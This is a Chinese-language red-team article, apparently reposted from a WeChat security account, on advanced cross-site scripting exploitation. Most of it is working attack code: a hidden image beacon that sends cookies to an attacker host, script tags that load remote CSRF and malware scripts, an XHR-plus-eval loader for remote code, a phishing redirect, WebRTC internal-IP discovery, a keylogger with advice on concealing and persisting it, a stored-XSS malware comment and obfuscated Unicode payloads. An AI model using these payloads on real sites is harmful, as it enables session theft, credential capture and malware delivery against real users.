在当今复杂的网络安全环境中,跨站脚本(XSS)漏洞作为常见的Web安全隐患,为红队提供了多维度的渗透途径。本文旨在深入剖析XSS漏洞的高级利用技巧,结合实际案例与代码示例,展示其在权限提升、信息窃取及网络攻击中的潜在影响力。
<script>console.log('东方隐侠');</script>
var img = document.createElement('img');
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
img.style.display = 'none'; // 隐藏图片以避免引起用户注意
document.body.appendChild(img); // 将图片元素插入到页面中,触发HTTP请求
这段脚本执行的过程如下:
-
创建图像对象:通过
document.createElement('img')
创建一个新的<img>
元素。 -
设置源地址(src属性):将图像的
src
属性设置为攻击者控制的服务器地址,并附带上受害者当前页面的Cookie。这里使用encodeURIComponent()
函数对document.cookie
返回的Cookie值进行URL编码,确保任何特殊字符不会导致URL格式错误。img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
这个URL包含了受害者Cookie信息,当浏览器加载此图像时,会自动向指定的服务器发起GET请求,请求参数中携带着窃取的Cookie。
-
隐藏图像:为了隐蔽操作,通常将图像样式设置为
display: none;
,使其在页面上不可见,避免引起用户的警觉。
img.style.display = 'none';
-
插入到文档:最后,将这个带有恶意目的的图像元素添加到网页的
document.body
中。浏览器会立即开始加载图像,从而触发了向攻击者服务器发送带有Cookie数据的HTTP请求。
document.body.appendChild(img);
攻击者在其控制的服务器端接收并记录这些携带Cookie信息的请求,随后可以解析出Cookie值,用于后续的攻击活动,如伪造身份登录、实施欺诈操作等。
如今的浏览器与Web应用强化了Cookie保护,采用HTTP-only、SameSite属性及严格安全策略,有效抵御XSS直接窃取Cookie。Token-based验证机制也降低了Cookie被盗后的重放攻击风险。然而,针对防护薄弱或存有漏洞的系统,上述窃取手法仍具威胁,凸显了强化XSS防御的重要性。
面对浏览器内置的同源策略这一安全防线,红队巧妙运用XSS漏洞,结合远程脚本加载技术,成功突破限制,为后续发起跨站请求伪造CSRF攻击奠定基础。以下代码片段揭示了如何在受害者页面中嵌入外部恶意脚本,为发起CSRF攻击做好准备:
<script src="http://攻击者IP/csrf.js"></script>
该代码行在受害者页面中插入了一个<script>
标签,其src
属性指向攻击者控制的服务器上的恶意脚本csrf.js
。尽管同源策略通常禁止不同源之间的资源交互,但对于<script>
标签加载外部脚本的特性,浏览器出于兼容性和功能性的考虑,默认允许其跨域请求。这就为攻击者利用XSS漏洞注入此类脚本提供了可乘之机。
恶意脚本的作用
加载的csrf.js
脚本通常包含以下攻击逻辑:
-
隐匿收集关键信息:脚本可能首先收集受害者当前页面的上下文信息,如页面URL、DOM结构、表单数据等,为后续精确构造CSRF攻击请求提供依据。
-
生成与伪装请求:基于收集到的信息,脚本动态构建出与目标网站接口相匹配的CSRF请求,包括正确的请求方法(如POST、PUT等)、请求头(如Content-Type、Authorization等)、请求体等。为提高成功率,请求可能被精心设计以模仿合法用户的正常行为,甚至利用浏览器存储的认证信息(如Cookie、localStorage等)。
-
隐蔽触发请求:为了避免用户察觉,脚本通常会选择用户无感知的方式触发CSRF请求,如利用定时器、事件监听(如鼠标移动、窗口滚动等)或某些隐匿的浏览器API(如XMLHttpRequest、fetch等)。一旦触发,恶意请求将悄无声息地发送至目标服务器,执行攻击者预设的操作。
-
反馈与持久化控制:在某些情况下,脚本可能还包含与攻击者服务器通信的机制,用于报告攻击进度、接收新的指令或保持持久化的控制通道,以便进行更复杂的攻击活动。
XSS漏洞不仅为攻击者打开了通往用户敏感信息的大门,还使其能够精准操控受害者的浏览体验,通过篡改页面行为实现恶意目的。以下两种典型手法展示了攻击者如何利用XSS漏洞进行恶意重定向与代码注入:
1. 恶意重定向至钓鱼站点
通过注入如下JavaScript代码片段,攻击者能够瞬间改变受害者当前页面的导航方向,将其强行引导至一个预先设定的恶意站点:
<script>window.location.href = "http://钓鱼.com/";</script>
这段代码利用window.location.href属性的赋值功能,强制浏览器跳转至指定URL——此处为虚构的钓鱼网站http://钓鱼.com/。一旦执行,受害者将被无缝地转移至攻击者精心设计的假冒页面,该页面可能高度仿冒可信网站,旨在诱骗用户提供登录凭据、财务信息或其他敏感数据。
2. 诱导用户点击并加载远程恶意脚本
另一种策略是构造恶意链接,通过社会工程学手段引诱用户点击,进而加载并执行远程服务器上的恶意脚本。例如:
<script src="http://恶意网站.com/恶意.js"></script>
此<script>标签会促使浏览器从指定的恶意服务器http://恶意网站.com/下载名为恶意.js的脚本文件,并在受害者页面上执行其内容。这种手法隐蔽性强,用户往往在毫不知情的情况下就成为了攻击的载体。
远程恶意脚本的潜在危害
远程服务器上的恶意.js可能包含复杂而狡猾的攻击逻辑,以下是一种常见的加载与执行额外恶意代码的示例:
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://恶意网站.com/动态恶意代码.js", true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
eval(xhr.responseText);
}
};
xhr.send();
这段JavaScript使用XMLHttpRequest对象发起一个异步GET请求,从攻击者服务器下载动态生成的恶意代码(如http://恶意网站.com/动态恶意代码.js)。
当请求完成且状态码为200(表示成功)时,eval()函数被调用,将接收到的响应文本(即远程服务器返回的恶意代码)当作JavaScript代码执行。
这种方式使得攻击者能够在不修改原有脚本的情况下,随时更新攻击手段,应对防御措施的变化,实施诸如键盘记录、会话劫持、浏览器指纹识别等多种高级攻击。
(1)获取内网IP地址
XSS漏洞不仅局限于直接窃取用户数据或操纵浏览体验,它还能作为一种强大的侦察工具,帮助攻击者深入探查受害者网络环境,为进一步的内网渗透打下基础。以下示例展现了XSS如何利用WebRTC(Web Real-Time Communication)技术探测访问者的真实内网IP地址:
var findIP = new Promise((resolve) => {
var windowRef = window,
peerConnection = new (windowRef.RTCPeerConnection ||
windowRef.mozRTCPeerConnection ||
windowRef.webkitRTCPeerConnection)({ iceServers: [ ] }),
noop = () => {};
peerConnection.createDataChannel("");
peerConnection.createOffer((description) =>
peerConnection.setLocalDescription(description, noop, noop)
);
peerConnection.onicecandidate = (event) => {
try {
event.candidate.candidate
.match(/([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g)
.forEach(resolve);
} catch (error) {}
};
});
findIP.then((ip) => alert('your ip: ' + ip)).catch((error) => console.error(error));
这段JavaScript代码创建了一个WebRTC PeerConnection实例,虽然并未实际建立任何连接,但其在初始化过程中会自动交换网络候选信息(ICE candidates),这些信息中包含了访问者的公网IP地址以及可能暴露的内网IP地址。通过监听onicecandidate事件,每当接收到一个新的候选信息时,代码便尝试从中提取IP地址,并通过Promise的resolve回调函数将结果传递给后续处理逻辑。
IP地址获取过程解析
-
创建PeerConnection:初始化一个WebRTC PeerConnection对象,配置为空的ICE服务器列表,表明无需通过STUN/TURN服务器进行NAT穿透。
-
创建空数据通道:创建一个没有实际用途的空数据通道,此举会触发PeerConnection开始收集本地网络候选信息。
-
设置offer描述:创建并设置一个本地offer描述,进一步推动网络候选信息的收集过程。
-
监听icecandidate事件:每当收集到一个新的网络候选信息时,onicecandidate事件会被触发。候选信息以RTCIceCandidate对象形式传递,其.candidate属性包含详细的候选描述字符串。
-
提取IP地址:使用正则表达式从候选描述字符串中匹配并提取IP地址(包括IPv4和IPv6),将每个找到的IP地址通过resolve函数返回。
-
处理结果:Promise链中的.then方法用于处理成功获取到的IP地址,此处简单地通过alert弹窗显示访问者的IP。若在获取过程中出现错误,则.catch方法捕获并打印错误信息。
(2)键盘记录:无声无息的信息窃取手段
键盘记录核心功能在于悄无声息地捕获用户在目标设备上的键盘输入行为,记录下每一个按键的按下与释放事件,进而收集用户的敏感信息,如密码、账号、聊天记录等。以下是一个简单的HTML页面示例,通过JavaScript实现基础的键盘记录功能,将用户在该页面上按下的每一个键记录到浏览器控制台:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>键盘记录演示</title>
</head>
<body>
<script>
// 初始化一个数组用于存储击键事件
var key_presses = [ ];
// 监听全局键盘按下事件
window.addEventListener("keydown", function (evt) {
// 将当前按键添加到记录数组
key_presses.push(evt.key);
// 实时输出到浏览器控制台
console.log(evt.key);
});
</script>
<!-- 页面主体内容,此处省略 -->
</body>
</html>
在这个示例中,每当用户在页面上按下任意键时,浏览器便会触发keydown事件。事件处理器函数会将事件对象的.key属性(代表按下的键名)存入key_presses数组,并通过console.log()即时输出到开发者工具的控制台供观察。实际攻击场景中,攻击者通常会将记录的键击信息通过网络发送回攻击服务器,以便进一步分析与利用。
为了提升键盘记录器的隐蔽性、稳定性和数据收集能力,攻击者可能会对其进行一系列优化与增强,使之成为一个成熟的键盘控制器:
-
静默运行:通过删除或屏蔽控制台输出、使用异步通信方式发送数据、甚至将记录器代码混淆或加密,确保在用户无感知的情况下持续运行。
-
捕获更多输入细节:除了基本的按键名称外,记录器还可以收集按键的修饰键状态(Shift、Ctrl、Alt等)、按下与释放的时间戳、连续击键速度等信息,有助于提高攻击者对用户输入行为的理解。
-
跨窗口监听:通过使用更高级的事件监听技术,如document.onkeydown或window.attachEvent(对于旧版IE浏览器),使键盘记录器能够监听整个浏览器窗口甚至全屏模式下的击键事件,扩大信息收集范围。
-
持久化存储:在本地存储(如localStorage、IndexedDB或Cookies)中保存记录的击键信息,防止因网络中断导致数据丢失,并可在用户下次访问时继续收集。
-
防卸载与自我保护:通过各种手段(如注册事件监听器、修改DOM元素、注入定时任务等)确保键盘记录器难以被用户察觉或轻易移除,提高生存周期。
-
多平台支持:针对不同操作系统和浏览器环境开发适配版本,确保键盘记录器能在广泛的目标设备上有效运行。
红队通过XSS漏洞向受害者浏览器植入恶意代码(如木马、间谍软件等),以实现对受害者计算机的远程控制、数据窃取或其他恶意行为。以下为XSS挂马的基本原理与代码示例:
构造恶意脚本
根据目标网站的具体情况,攻击者编写或选取合适的恶意脚本,如JavaScript、HTML、SVG等。脚本内容通常包含以下几部分:
-
加载恶意代码:使用
<script>
标签、eval()
函数、事件属性等方式动态加载或执行远程服务器上的恶意代码。 -
隐藏与混淆:使用CSS、HTML注释、短标签等方式将恶意脚本隐藏在正常网页内容中,降低被用户或安全软件发现的概率。
-
持久化植入:如果条件允许,攻击者还会尝试将恶意脚本存储在用户的浏览器缓存、Cookie、localStorage等地方,实现长期驻留。
触发漏洞
攻击者通过提交包含恶意脚本的用户输入,或者诱导受害者访问嵌入了恶意脚本的URL,触发XSS漏洞,使得恶意脚本在受害者浏览器中执行。
代码示例
假设存在一个存在XSS漏洞的留言评论功能,攻击者可以构造如下恶意评论:
<script>
// 隐藏恶意脚本,避免用户或安全软件轻易发现
var div = document.createElement('div');
div.style.display = 'none';
document.body.appendChild(div);
// 加载远程恶意代码
var script = document.createElement('script');
script.src = 'https://attacker.com/malware.js';
div.appendChild(script);
</script>
<!-- 显示正常评论内容,迷惑受害者 -->
<p>这是一个看似正常的评论...</p>
当受害者查看含有此评论的页面时,恶意脚本会在其浏览器中执行,动态加载并执行攻击者服务器上的malware.js
。该文件可能包含木马、间谍软件或其他恶意功能,如盗取用户Cookie、操控DOM、发起CSRF攻击等。
最后再分享几个有意思的payload
<script>
ᅠ='',ᅠ=!ᅠ+ᅠ,ᅠ=!ᅠ+ᅠ,ᅠ͏=ᅠ+{},ᅠᅠ=ᅠ[ᅠ++],
ᅠ=ᅠ[ᅠ=ᅠ],ᅠᅠ=++ᅠ+ᅠ,ᅠ͏=ᅠ͏[ᅠ+ᅠᅠ],ᅠ[ᅠ͏+=ᅠ͏[ᅠ]
+(ᅠ.ᅠ+ᅠ͏)[ᅠ]+ᅠ[ᅠᅠ]+ᅠᅠ+ᅠ+ᅠ[ᅠ]+ᅠ͏+ᅠᅠ+ᅠ͏[ᅠ]
+ᅠ][ᅠ͏](ᅠ[ᅠ]+ᅠ[ᅠ]+ᅠ[ᅠᅠ]+ᅠ+ᅠᅠ+"(ᅠ)")()
</script>
<script>
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
</script>
总结
综上所述,XSS漏洞的高级利用远超于表面的弹窗警告,它是渗透测试与红队行动中不可或缺的利器。通过上述示例,我们可以看到XSS在权限提升、信息窃取、内网侦察等多个层面的广泛应用。掌握这些技巧,不仅有助于安全专业人员更好地评估系统安全性,也是对抗网络犯罪、维护网络安全的重要防线。在实战中,合理且合法地应用这些知识,方能彰显技术的价值与意义。
原文始发于微信公众号(东方隐侠安全团队):【安全前沿】XSS漏洞深度探索:高级利用策略与实战案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论